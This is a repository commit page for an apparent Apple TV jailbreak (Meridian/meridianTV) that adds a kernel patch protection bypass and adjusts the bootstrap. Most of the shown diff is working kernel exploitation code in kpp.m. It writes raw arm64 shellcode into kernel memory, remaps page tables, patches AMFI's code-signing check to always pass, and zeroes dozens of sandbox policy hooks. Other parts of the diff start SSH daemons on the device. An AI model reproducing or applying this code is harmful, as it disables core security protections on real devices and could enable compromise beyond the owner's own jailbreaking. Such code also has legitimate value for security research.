Browse Source

added experimental kppless support, provided me a more stable foundation for futurerestore

Kevin Bradley 5 years ago
parent
commit
c3402b1b71
25 changed files with 5755 additions and 28 deletions
  1. 3 13
      Meridian/meridianTV/ViewController.m
  2. BIN
      Meridian/meridianTV/bootstrap.tar.gz
  3. 19 6
      Meridian/meridianTV/electra/the fun part/bootstrap.c
  4. 5 2
      Meridian/meridianTV/electra/the fun part/fun.c
  5. 2 2
      Meridian/meridianTV/electra_extras/sbinject/.theos/_/DEBIAN/control
  6. BIN
      Meridian/meridianTV/electra_extras/sbinject/.theos/_/usr/lib/TweakInject.dylib
  7. BIN
      Meridian/meridianTV/electra_extras/sbinject/.theos/fakeroot
  8. 1 1
      Meridian/meridianTV/electra_extras/sbinject/.theos/last_package
  9. BIN
      Meridian/meridianTV/electra_extras/sbinject/.theos/obj/appletv/debug/TweakInject.dylib
  10. BIN
      Meridian/meridianTV/electra_extras/sbinject/.theos/obj/appletv/debug/arm64/TweakInject.dylib
  11. 4 3
      Meridian/meridianTV/electra_extras/sbinject/Makefile
  12. 1 1
      Meridian/meridianTV/electra_extras/sbinject/SBInject.x
  13. 2 0
      Meridian/meridianTV/electra_extras/sbinject/theos/makefiles/targets/Darwin/appletv.mk
  14. 1129 0
      Meridian/meridianTV/kpp/kpp.h
  15. 517 0
      Meridian/meridianTV/kpp/kpp.m
  16. 35 0
      Meridian/meridianTV/kpp/kppcommon.h
  17. 32 0
      Meridian/meridianTV/kpp/kppkernel.h
  18. 176 0
      Meridian/meridianTV/kpp/kppkernel.m
  19. 32 0
      Meridian/meridianTV/kpp/kppoffsets.h
  20. 2223 0
      Meridian/meridianTV/kpp/kppoffsets.m
  21. 1266 0
      Meridian/meridianTV/kpp/kpppatchfinder64.c
  22. 47 0
      Meridian/meridianTV/kpp/kpppatchfinder64.h
  23. 18 0
      Meridian/meridianTV/kpp/kppremount.h
  24. 49 0
      Meridian/meridianTV/kpp/kppremount.m
  25. 194 0
      Meridian/meridianTV/kpp/pte_stuff.h

+ 3 - 13
Meridian/meridianTV/ViewController.m

@@ -449,11 +449,8 @@ bool jailbreak_has_run = false;
 
 - (NSString *)getBuildString {
     
-    
-    NSString *hey = [[NSProcessInfo processInfo] operatingSystemVersionString];
     CFDictionaryRef dict= NULL;
     CFStringRef str = NULL;
-    char cstr[256];
     
     dict = _CFCopyServerVersionDictionary();
     if (dict == NULL)
@@ -462,16 +459,7 @@ bool jailbreak_has_run = false;
     str = CFDictionaryGetValue(dict, CFSTR("ProductBuildVersion"));
     //NSLog(@"pbv: %@", str);
     return (__bridge NSString *)str;
-    
-    NSString *verString = [[NSProcessInfo processInfo] operatingSystemVersionString];
-    // wish there was a better way of doing this (hopefully there is)
-    NSRegularExpression *regex = [NSRegularExpression regularExpressionWithPattern:@"14[A-Za-z0-9]{3,5}"
-                                                                           options:0
-                                                                             error:nil];
-    
-    NSRange range = [regex rangeOfFirstMatchInString:verString options:0 range:NSMakeRange(0, [verString length])];
-    
-    return [verString substringWithRange:range];
+
 }
 
 - (void)exploitSucceeded {
@@ -482,6 +470,8 @@ bool jailbreak_has_run = false;
     [self writeTextPlain:@"note: please click 'respring' to get this party started :) \n"];
     
     
+    //if you want to run anything post process on device you can do it here for diagnostic purposes.
+    
     /*
      execprog("/bin/ps", (const char **)&(const char *[]) {
         "/bin/ps",

BIN
Meridian/meridianTV/bootstrap.tar.gz


+ 19 - 6
Meridian/meridianTV/electra/the fun part/bootstrap.c

@@ -51,7 +51,7 @@ void copy_basebinaries() {
     posix_spawn(&pd, tar, NULL, NULL, (char **)&(const char*[]){ tar, "-xpvf", progname("basebinaries.tar"), "-C", "/electra", NULL }, NULL);
     waitpid(pd, NULL, 0);
     
-    writeMessage("[bootstrapper] copied the required binaries into the right places\n");
+    writeMessage("\n[bootstrapper] copied the required binaries into the right places\n");
     
     inject_trusts(4, (const char **)&(const char*[]){
         "/electra/inject_criticald",
@@ -104,7 +104,7 @@ void extract_bootstrap() {
     fprintf(file,"%s","::1      localhost\n"); //writes
     fclose(file); /*done!*/
     
-    
+    //dont need
     /*
     file = fopen("/etc/apt/sources.list.d/electra-shim.list","w");
     fprintf(file,"%s","deb https://electrarepo64.coolstar.org/substrate-shim/ ./\n"); //writes
@@ -123,20 +123,21 @@ void extract_bootstrap() {
     
     //printf("[bootstrapper] extracted bootstrap to / \n");
     writeMessage("[bootstrapper] extracted bootstrap to / \n");
-    post_bootstrap(false);
+    post_bootstrap(true);
 }
 
 void post_bootstrap(const bool runUICache) {
     pid_t pd;
+    //cant run uicache yet on iOS because we dont have code injection yet.
     if (runUICache){
-        posix_spawn(&pd, "/usr/bin/uicache", NULL, NULL, (char **)&(const char*[]){ "uicache", NULL }, NULL);
-        waitpid(pd, NULL, 0);
-        //posix_spawn(&pd, "/usr/bin/killall", NULL, NULL, (char **)&(const char*[]){ "-9", "backboardd", NULL }, NULL);
+        //posix_spawn(&pd, "/usr/bin/uicache", NULL, NULL, (char **)&(const char*[]){ "uicache", NULL }, NULL);
         //waitpid(pd, NULL, 0);
+ 
     }
     
     unlink(tar);
     
+    //dont need the electra list
     /*
     FILE *file;
     file = fopen("/etc/apt/sources.list.d/electra.list","w");
@@ -150,14 +151,24 @@ void post_bootstrap(const bool runUICache) {
     
     inject_trusts(1, (const char **)&(const char*[]){"/bin/launchctl"});
     
+    //we already have an available file
+    
     /*
     int rv = open("/var/lib/dpkg/available", O_RDWR|O_CREAT);
     close(rv);
     */
    
+    //nitoTV script specific, this is different in other versions
     posix_spawn(&pd, "/bin/bash", NULL, NULL, (char **)&(const char*[]){ "bash", "/usr/libexec/nito/firmware.sh", NULL }, NULL);
     waitpid(pd, NULL, 0);
     
+    /*
+     
+     Next three can remain the same, i still have dropbear AND openssh in the bootstrap for the beta / testing phase in case one of them fails to fire. no way your arent SSHing in!!
+     
+     opensshd is on port 22 and db is on 2223 on localhost, so will need to do usb-ssh method (i think)
+     
+     */
     posix_spawn(&pd, "/bin/bash", NULL, NULL, (char **)&(const char*[]){ "bash", "/Library/dpkg/info/openssh.postinst", NULL }, NULL);
     waitpid(pd, NULL, 0);
     
@@ -171,6 +182,8 @@ void post_bootstrap(const bool runUICache) {
     posix_spawn(&pd, "/bin/launchctl", NULL, NULL, (char **)&(const char*[]){ "launchctl", "load", "/Library/LaunchDaemons/dropbear.plist", NULL }, NULL);
     waitpid(pd, NULL, 0);
     
+    //we wont have his lists... on the meridian side in 'needed' to install nitoTV like this, but dont need to here
+    //maybe the dpkg after step is no longer necessary.
     /*
     run("rm /var/lib/apt/lists/apt.saurik.com*");
     blockSaurikRepo();

+ 5 - 2
Meridian/meridianTV/electra/the fun part/fun.c

@@ -60,8 +60,8 @@ int begin_fun(mach_port_t tfp0, mach_port_t user_client, bool enable_tweaks) {
 	// Get the slide
     uint64_t kernel_base_electra = find_kernel_base();
 	uint64_t slide = kernel_base_electra - 0xFFFFFFF007004000;
-	printf("slide: 0x%016llx\n", slide);
-    writeMessagePlain("slide: 0x%016llx\n", slide);
+	//printf("\nslide: 0x%016llx\n", slide);
+    writeMessagePlain("\nslide: 0x%016llx\n", slide);
 	// From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
 	uint64_t IOSurfaceRootUserClient_port = find_port_address_electra(user_client, MACH_MSG_TYPE_MAKE_SEND); // UserClients are just mach_ports, so we find its address
 	uint64_t IOSurfaceRootUserClient_addr = rk64_electra(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); // The UserClient itself (the C++ object) is at the kobject field
@@ -367,6 +367,9 @@ do { \
         startDaemons();
         
         sleep(2);
+        
+        //ldrestart puts our device in a state that is unrecovered until reboot, not sure why. 
+        
         /*
         const char* args_ldrestart[] = {"ldrestart", itoa_electra(1), "/usr/bin/ldrestart", NULL};
         rv = posix_spawn(&pd, "/usr/bin/ldrestart", NULL, NULL, (char **)&args_ldrestart, NULL);

+ 2 - 2
Meridian/meridianTV/electra_extras/sbinject/.theos/_/DEBIAN/control

@@ -8,5 +8,5 @@ Description: A modified version of Coolstars TweakInject to work on tvOS
 Maintainer: Kevin Bradley
 Author: Kevin Bradley
 Section: Utilities
-Version: 0.0.1-16
-Installed-Size: 92
+Version: 0.0.1-28
+Installed-Size: 88

BIN
Meridian/meridianTV/electra_extras/sbinject/.theos/_/usr/lib/TweakInject.dylib


BIN
Meridian/meridianTV/electra_extras/sbinject/.theos/fakeroot


+ 1 - 1
Meridian/meridianTV/electra_extras/sbinject/.theos/last_package

@@ -1 +1 @@
-./debs/com.nito.tweakinject_0.0.1-16_appletvos-arm64.deb
+./debs/com.nito.tweakinject_0.0.1-28_appletvos-arm64.deb

BIN
Meridian/meridianTV/electra_extras/sbinject/.theos/obj/appletv/debug/TweakInject.dylib


BIN
Meridian/meridianTV/electra_extras/sbinject/.theos/obj/appletv/debug/arm64/TweakInject.dylib


+ 4 - 3
Meridian/meridianTV/electra_extras/sbinject/Makefile

@@ -1,12 +1,13 @@
 ARCHS=arm64
-TARGET = appletv
-export SDKVERSION=10.1
+TARGET=appletv:clang:10.0:10.0
+#SDKVERSION=10.0
 include theos/makefiles/common.mk
-THEOS_DEVICE_IP=apple-tv.local
+export THEOS_DEVICE_IP=btv.local
 
 LIBRARY_NAME = TweakInject
 TweakInject_LIBRARIES = substrate
 TweakInject_FILES = SBInject.x
+TweakInject_LDFLAGS := -F/Applications/Xcode8.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/SDKs/AppleTVOS10.0.sdk/System/Library/Frameworks/
 #SBInject_USE_SUBSTRATE=0
 
 include $(THEOS_MAKE_PATH)/library.mk

+ 1 - 1
Meridian/meridianTV/electra_extras/sbinject/SBInject.x

@@ -68,7 +68,7 @@ NSArray *sbinjectGenerateDylibList() {
 
         if ([injectBundles containsObject:bundleIdentifier]){
 
-            //NSLog(@"inject bundles contains object: %@", bundleIdentifier);
+            NSLog(@"inject bundles contains object: %@", bundleIdentifier);
             
             [dylibsToInject addObject:[[plistPath stringByDeletingPathExtension] stringByAppendingString:@".dylib"]];
             isInjected = YES;

+ 2 - 0
Meridian/meridianTV/electra_extras/sbinject/theos/makefiles/targets/Darwin/appletv.mk

@@ -1,3 +1,5 @@
+
+
 ifeq ($(_THEOS_TARGET_LOADED),)
 _THEOS_TARGET_LOADED := 1
 THEOS_TARGET_NAME := appletv

File diff suppressed because it is too large
+ 1129 - 0
Meridian/meridianTV/kpp/kpp.h


+ 517 - 0
Meridian/meridianTV/kpp/kpp.m

@@ -0,0 +1,517 @@
+//
+//  kpp.m
+//  g0blin
+//
+//  Created by Sticktron on 2017-12-26.
+//  Copyright © 2017 qwertyoruiop. All rights reserved.
+//
+
+#include "kpp.h"
+#include "kernel.h"
+
+
+// This is @qwertyoruiop's KPP bypass from Yalu102 -----------------------------
+
+#import "pte_stuff.h"
+#include "kpppatchfinder64.h"
+
+
+kern_return_t do_kpp(int nukesb, int uref, uint64_t kernbase, uint64_t slide, task_t tfp0) {
+    kern_return_t ret;
+    
+    checkvad();
+    
+    uint64_t entryp;
+    
+    int rv = kpp_init_patchfinder(tfp0, kernbase, NULL);
+    if (rv != 0) {
+        printf("[ERROR]: could not initialize kernel\n");
+        ret = KERN_FAILURE;
+        goto cleanup;
+    }
+    printf("[INFO]: sucessfully initialized kernel\n");
+    
+    uint64_t gStoreBase = kpp_find_gPhysBase();
+    printf("[INFO]: gStoreBase = %llx \n", gStoreBase);
+
+    gPhysBase = ReadAnywhere64(gStoreBase);
+    gVirtBase = ReadAnywhere64(gStoreBase+8);
+    printf("[INFO]: gPhysBase = %llx \n", gPhysBase);
+    printf("[INFO]: gVirtBase = %llx \n", gVirtBase);
+    
+    entryp = kpp_find_entry() + slide;
+    printf("[INFO]: entryp = %llx \n", entryp);
+    
+    uint64_t rvbar = entryp & (~0xFFF);
+    
+    uint64_t cpul = kpp_find_register_value(rvbar+0x40, 1);
+    
+    uint64_t optr = kpp_find_register_value(rvbar+0x50, 20);
+    if (uref) {
+        optr = ReadAnywhere64(optr) - gPhysBase + gVirtBase;
+    }
+    printf("[INFO]: optr = %llx \n", optr);
+    
+    uint64_t cpu_list = ReadAnywhere64(cpul - 0x10 /*the add 0x10, 0x10 instruction confuses findregval*/) - gPhysBase + gVirtBase;
+    uint64_t cpu = ReadAnywhere64(cpu_list);
+    
+    uint64_t pmap_store = kpp_find_kernel_pmap();
+    printf("[INFO]: pmap = %llx \n", pmap_store);
+    
+    level1_table = ReadAnywhere64(ReadAnywhere64(pmap_store));
+    printf("[INFO]: level1_table = %llx \n", level1_table);
+    
+    uint64_t shellcode = physalloc(0x4000);
+
+    /*
+     ldr x30, a
+     ldr x0, b
+     br x0
+     nop
+     a:
+     .quad 0
+     b:
+     .quad 0
+     none of that squad shit tho, straight gang shit. free rondonumbanine
+     */
+
+    WriteAnywhere32(shellcode + 0x100, 0x5800009e); /* trampoline for idlesleep */
+    WriteAnywhere32(shellcode + 0x100 + 4, 0x580000a0);
+    WriteAnywhere32(shellcode + 0x100 + 8, 0xd61f0000);
+
+    WriteAnywhere32(shellcode + 0x200, 0x5800009e); /* trampoline for deepsleep */
+    WriteAnywhere32(shellcode + 0x200 + 4, 0x580000a0);
+    WriteAnywhere32(shellcode + 0x200 + 8, 0xd61f0000);
+
+    char buf[0x100];
+    copyin(buf, optr, 0x100);
+    copyout(shellcode+0x300, buf, 0x100);
+
+    uint64_t physcode = findphys_real(shellcode);
+
+    printf("[INFO]: got phys at %llx for virt %llx\n", physcode, shellcode);
+
+    uint64_t idlesleep_handler = 0;
+
+    uint64_t plist[12]={0,0,0,0,0,0,0,0,0,0,0,0};
+    int z = 0;
+
+    int idx = 0;
+    int ridx = 0;
+    while (cpu) {
+        cpu = cpu - gPhysBase + gVirtBase;
+        if ((ReadAnywhere64(cpu+0x130) & 0x3FFF) == 0x100) {
+            printf("[ERROR]: already jailbroken, bailing out\n");
+            ret = KERN_ABORTED;
+            goto cleanup;
+        }
+
+
+        if (!idlesleep_handler) {
+            WriteAnywhere64(shellcode + 0x100 + 0x18, ReadAnywhere64(cpu+0x130)); // idlehandler
+            WriteAnywhere64(shellcode + 0x200 + 0x18, ReadAnywhere64(cpu+0x130) + 12); // deephandler
+
+            idlesleep_handler = ReadAnywhere64(cpu+0x130) - gPhysBase + gVirtBase;
+            
+            uint32_t* opcz = malloc(0x1000);
+            copyin(opcz, idlesleep_handler, 0x1000);
+            idx = 0;
+            while (1) {
+                if (opcz[idx] == 0xd61f0000 /* br x0 */) {
+                    break;
+                }
+                idx++;
+            }
+            ridx = idx;
+            while (1) {
+                if (opcz[ridx] == 0xd65f03c0 /* ret */) {
+                    break;
+                }
+                ridx++;
+            }
+
+
+        }
+        printf("[INFO]: found cpu %x\n", ReadAnywhere32(cpu+0x330));
+        printf("[INFO]: found physz: %llx\n", ReadAnywhere64(cpu+0x130) - gPhysBase + gVirtBase);
+
+        plist[z++] = cpu+0x130;
+        cpu_list += 0x10;
+        cpu = ReadAnywhere64(cpu_list);
+    }
+    
+    uint64_t shc = physalloc(0x4000);
+    
+    uint64_t regi = kpp_find_register_value(idlesleep_handler+12, 30);
+    uint64_t regd = kpp_find_register_value(idlesleep_handler+24, 30);
+    printf("[INFO]: %llx - %llx\n", regi, regd);
+    
+    for (int i = 0; i < 0x500/4; i++) {
+        WriteAnywhere32(shc+i*4, 0xd503201f);
+    }
+
+    /*
+     isvad 0 == 0x4000
+     */
+    
+    uint64_t level0_pte = physalloc(isvad == 0 ? 0x4000 : 0x1000);
+
+    uint64_t ttbr0_real = kpp_find_register_value(idlesleep_handler + idx*4 + 24, 1);
+    printf("[INFO]: ttbr0: %llx %llx\n",ReadAnywhere64(ttbr0_real), ttbr0_real);
+    
+    char* bbuf = malloc(0x4000);
+    copyin(bbuf, ReadAnywhere64(ttbr0_real) - gPhysBase + gVirtBase, isvad == 0 ? 0x4000 : 0x1000);
+    copyout(level0_pte, bbuf, isvad == 0 ? 0x4000 : 0x1000);
+
+    uint64_t physp = findphys_real(level0_pte);
+    
+    WriteAnywhere32(shc,    0x5800019e); // ldr x30, #40
+    WriteAnywhere32(shc+4,  0xd518203e); // msr ttbr1_el1, x30
+    WriteAnywhere32(shc+8,  0xd508871f); // tlbi vmalle1
+    WriteAnywhere32(shc+12, 0xd5033fdf);  // isb
+    WriteAnywhere32(shc+16, 0xd5033f9f);  // dsb sy
+    WriteAnywhere32(shc+20, 0xd5033b9f);  // dsb ish
+    WriteAnywhere32(shc+24, 0xd5033fdf);  // isb
+    WriteAnywhere32(shc+28, 0x5800007e); // ldr x30, 8
+    WriteAnywhere32(shc+32, 0xd65f03c0); // ret
+    WriteAnywhere64(shc+40, regi);
+    WriteAnywhere64(shc+48, /* new ttbr1 */ physp);
+    
+    shc+=0x100;
+    WriteAnywhere32(shc,    0x5800019e); // ldr x30, #40
+    WriteAnywhere32(shc+4,  0xd518203e); // msr ttbr1_el1, x30
+    WriteAnywhere32(shc+8,  0xd508871f); // tlbi vmalle1
+    WriteAnywhere32(shc+12, 0xd5033fdf);  // isb
+    WriteAnywhere32(shc+16, 0xd5033f9f);  // dsb sy
+    WriteAnywhere32(shc+20, 0xd5033b9f);  // dsb ish
+    WriteAnywhere32(shc+24, 0xd5033fdf);  // isb
+    WriteAnywhere32(shc+28, 0x5800007e); // ldr x30, 8
+    WriteAnywhere32(shc+32, 0xd65f03c0); // ret
+    WriteAnywhere64(shc+40, regd); /*handle deepsleep*/
+    WriteAnywhere64(shc+48, /* new ttbr1 */ physp);
+    shc-=0x100;
+    {
+        int n = 0;
+        WriteAnywhere32(shc+0x200+n, 0x18000148); n+=4; // ldr    w8, 0x28
+        WriteAnywhere32(shc+0x200+n, 0xb90002e8); n+=4; // str        w8, [x23]
+        WriteAnywhere32(shc+0x200+n, 0xaa1f03e0); n+=4; // mov     x0, xzr
+        WriteAnywhere32(shc+0x200+n, 0xd10103bf); n+=4; // sub    sp, x29, #64
+        WriteAnywhere32(shc+0x200+n, 0xa9447bfd); n+=4; // ldp    x29, x30, [sp, #64]
+        WriteAnywhere32(shc+0x200+n, 0xa9434ff4); n+=4; // ldp    x20, x19, [sp, #48]
+        WriteAnywhere32(shc+0x200+n, 0xa94257f6); n+=4; // ldp    x22, x21, [sp, #32]
+        WriteAnywhere32(shc+0x200+n, 0xa9415ff8); n+=4; // ldp    x24, x23, [sp, #16]
+        WriteAnywhere32(shc+0x200+n, 0xa8c567fa); n+=4; // ldp    x26, x25, [sp], #80
+        WriteAnywhere32(shc+0x200+n, 0xd65f03c0); n+=4; // ret
+        WriteAnywhere32(shc+0x200+n, 0x0e00400f); n+=4; // tbl.8b v15, { v0, v1, v2 }, v0
+    }
+    
+    mach_vm_protect(tfp0, shc, 0x4000, 0, VM_PROT_READ|VM_PROT_EXECUTE);
+    
+    mach_vm_address_t kppsh = 0;
+    mach_vm_allocate(tfp0, &kppsh, 0x4000, VM_FLAGS_ANYWHERE);
+    {
+        int n = 0;
+        
+        WriteAnywhere32(kppsh+n, 0x580001e1); n+=4; // ldr    x1, #60
+        WriteAnywhere32(kppsh+n, 0x58000140); n+=4; // ldr    x0, #40
+        WriteAnywhere32(kppsh+n, 0xd5182020); n+=4; // msr    TTBR1_EL1, x0
+        WriteAnywhere32(kppsh+n, 0xd2a00600); n+=4; // movz    x0, #0x30, lsl #16
+        WriteAnywhere32(kppsh+n, 0xd5181040); n+=4; // msr    CPACR_EL1, x0
+        WriteAnywhere32(kppsh+n, 0xd5182021); n+=4; // msr    TTBR1_EL1, x1
+        WriteAnywhere32(kppsh+n, 0x10ffffe0); n+=4; // adr    x0, #-4
+        WriteAnywhere32(kppsh+n, isvad ? 0xd5033b9f : 0xd503201f); n+=4; // dsb ish (4k) / nop (16k)
+        WriteAnywhere32(kppsh+n, isvad ? 0xd508871f : 0xd508873e); n+=4; // tlbi vmalle1 (4k) / tlbi    vae1, x30 (16k)
+        WriteAnywhere32(kppsh+n, 0xd5033fdf); n+=4; // isb
+        WriteAnywhere32(kppsh+n, 0xd65f03c0); n+=4; // ret
+        WriteAnywhere64(kppsh+n, ReadAnywhere64(ttbr0_real)); n+=8;
+        WriteAnywhere64(kppsh+n, physp); n+=8;
+        WriteAnywhere64(kppsh+n, physp); n+=8;
+    }
+
+    mach_vm_protect(tfp0, kppsh, 0x4000, 0, VM_PROT_READ|VM_PROT_EXECUTE);
+
+    WriteAnywhere64(shellcode + 0x100 + 0x10, shc - gVirtBase + gPhysBase); // idle
+    WriteAnywhere64(shellcode + 0x200 + 0x10, shc + 0x100 - gVirtBase + gPhysBase); // idle
+
+    WriteAnywhere64(shellcode + 0x100 + 0x18, idlesleep_handler - gVirtBase + gPhysBase + 8); // idlehandler
+    WriteAnywhere64(shellcode + 0x200 + 0x18, idlesleep_handler - gVirtBase + gPhysBase + 8); // deephandler
+
+    /*
+
+     pagetables are now not real anymore, they're real af
+
+     */
+
+    uint64_t cpacr_addr = kpp_find_cpacr_write();
+    
+#define PSZ (isvad ? 0x1000 : 0x4000)
+#define PMK (PSZ-1)
+
+
+#define RemapPage_(address) \
+pagestuff_64((address) & (~PMK), ^(vm_address_t tte_addr, int addr) {\
+uint64_t tte = ReadAnywhere64(tte_addr);\
+if (!(TTE_GET(tte, TTE_IS_TABLE_MASK))) {\
+printf("[INFO]: breakup!\n");\
+uint64_t fakep = physalloc(PSZ);\
+uint64_t realp = TTE_GET(tte, TTE_PHYS_VALUE_MASK);\
+TTE_SETB(tte, TTE_IS_TABLE_MASK);\
+for (int i = 0; i < PSZ/8; i++) {\
+TTE_SET(tte, TTE_PHYS_VALUE_MASK, realp + i * PSZ);\
+WriteAnywhere64(fakep+i*8, tte);\
+}\
+TTE_SET(tte, TTE_PHYS_VALUE_MASK, findphys_real(fakep));\
+WriteAnywhere64(tte_addr, tte);\
+}\
+uint64_t newt = physalloc(PSZ);\
+copyin(bbuf, TTE_GET(tte, TTE_PHYS_VALUE_MASK) - gPhysBase + gVirtBase, PSZ);\
+copyout(newt, bbuf, PSZ);\
+TTE_SET(tte, TTE_PHYS_VALUE_MASK, findphys_real(newt));\
+TTE_SET(tte, TTE_BLOCK_ATTR_UXN_MASK, 0);\
+TTE_SET(tte, TTE_BLOCK_ATTR_PXN_MASK, 0);\
+WriteAnywhere64(tte_addr, tte);\
+}, level1_table, isvad ? 1 : 2);
+
+    
+#define NewPointer(origptr) (((origptr) & PMK) | findphys_real(origptr) - gPhysBase + gVirtBase)
+
+    uint64_t* remappage = calloc(512, 8);
+
+    int remapcnt = 0;
+
+
+#define RemapPage(x)\
+{\
+int fail = 0;\
+for (int i = 0; i < remapcnt; i++) {\
+if (remappage[i] == (x & (~PMK))) {\
+fail = 1;\
+}\
+}\
+if (fail == 0) {\
+RemapPage_(x);\
+RemapPage_(x+PSZ);\
+remappage[remapcnt++] = (x & (~PMK));\
+}\
+}
+    
+    
+    level1_table = physp - gPhysBase + gVirtBase;
+    WriteAnywhere64(ReadAnywhere64(pmap_store), level1_table);
+
+    uint64_t shtramp = kernbase + ((const struct mach_header *)kpp_find_mh())->sizeofcmds + sizeof(struct mach_header_64);
+    LOG("before first remap");
+    RemapPage(cpacr_addr);
+    WriteAnywhere32(NewPointer(cpacr_addr), 0x94000000 | (((shtramp - cpacr_addr)/4) & 0x3FFFFFF));
+    LOG("before second remap");
+    RemapPage(shtramp);
+    WriteAnywhere32(NewPointer(shtramp), 0x58000041);
+    WriteAnywhere32(NewPointer(shtramp)+4, 0xd61f0020);
+    WriteAnywhere64(NewPointer(shtramp)+8, kppsh);
+
+    uint64_t lwvm_write = kpp_find_lwvm_mapio_patch();
+    uint64_t lwvm_value = kpp_find_lwvm_mapio_newj();
+    LOG("before third remap");
+    RemapPage(lwvm_write);
+    WriteAnywhere64(NewPointer(lwvm_write), lwvm_value);
+    
+    uint64_t kernvers = kpp_find_str("Darwin Kernel Version");
+    uint64_t release = kpp_find_str("RELEASE_ARM");
+    LOG("before fourth remap");
+    RemapPage(kernvers-4);
+    WriteAnywhere32(NewPointer(kernvers-4), 1);
+    LOG("before fifth remap");
+    RemapPage(release);
+    if (NewPointer(release) == (NewPointer(release+11) - 11)) {
+        copyout(NewPointer(release), "MarijuanARM", 11); /* marijuanarm */
+    }
+    
+    /* nonceenabler ? */
+    {
+        uint64_t sysbootnonce = kpp_find_sysbootnonce();
+        printf("[INFO]: nonce: %x\n", ReadAnywhere32(sysbootnonce));
+
+        WriteAnywhere32(sysbootnonce, 1);
+    }
+
+    /* AMFI */
+    
+    uint64_t memcmp_got = kpp_find_amfi_memcmpstub();
+    uint64_t ret1 = kpp_find_ret_0();
+
+    RemapPage(memcmp_got);
+    WriteAnywhere64(NewPointer(memcmp_got), ret1);
+
+    uint64_t fref = kpp_find_reference(idlesleep_handler+0xC, 1, SearchInCore);
+    printf("[INFO]: fref at %llx\n", fref);
+
+    uint64_t amfiops = kpp_find_amfiops();
+    printf("[INFO]: amfistr at %llx\n", amfiops);
+    
+    {
+        uint64_t sbops = amfiops;
+        uint64_t sbops_end = sbops + sizeof(struct mac_policy_ops);
+        
+        uint64_t nopag = sbops_end - sbops;
+        
+        for (int i = 0; i < nopag; i+= PSZ)
+            RemapPage(((sbops + i) & (~PMK)));
+        
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_file_check_mmap)), 0);
+    }
+    
+    /*
+     first str
+     */
+    while (1) {
+        uint32_t opcode = ReadAnywhere32(fref);
+        if ((opcode & 0xFFC00000) == 0xF9000000) {
+            int32_t outhere = ((opcode & 0x3FFC00) >> 10) * 8;
+            int32_t myreg = (opcode >> 5) & 0x1f;
+            uint64_t rgz = kpp_find_register_value(fref, myreg)+outhere;
+
+            WriteAnywhere64(rgz, physcode+0x200);
+            break;
+        }
+        fref += 4;
+    }
+
+    fref += 4;
+
+    /*
+     second str
+     */
+    while (1) {
+        uint32_t opcode = ReadAnywhere32(fref);
+        if ((opcode & 0xFFC00000) == 0xF9000000) {
+            int32_t outhere = ((opcode & 0x3FFC00) >> 10) * 8;
+            int32_t myreg = (opcode >> 5) & 0x1f;
+            uint64_t rgz = kpp_find_register_value(fref, myreg)+outhere;
+
+            WriteAnywhere64(rgz, physcode+0x100);
+            break;
+        }
+        fref += 4;
+    }
+    
+    {
+     
+        // sandbox
+     
+
+        uint64_t sbops = kpp_find_sbops();
+        uint64_t sbops_end = sbops + sizeof(struct mac_policy_ops) + PMK;
+
+        uint64_t nopag = (sbops_end - sbops)/(PSZ);
+
+        for (int i = 0; i < nopag; i++) {
+            RemapPage(((sbops + i*(PSZ)) & (~PMK)));
+        }
+
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_file_check_mmap)), 0);
+        
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_iokit_check_get_property)), 0); //ts
+        
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_mount_check_stat)), 0);
+        
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_fork)), 0); //ts
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_run_cs_invalid)), 0); //test
+        
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_access)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_chroot)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_create)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_deleteextattr)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_exchangedata)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_exec)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_fsgetpath)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_getattr)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_getattrlist)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_getextattr)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_ioctl)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_link)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_listextattr)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_open)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_readlink)), 0);
+        
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_rename)), 0);
+        
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setattrlist)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setextattr)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setflags)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setmode)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setowner)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_setutimes)), 0);
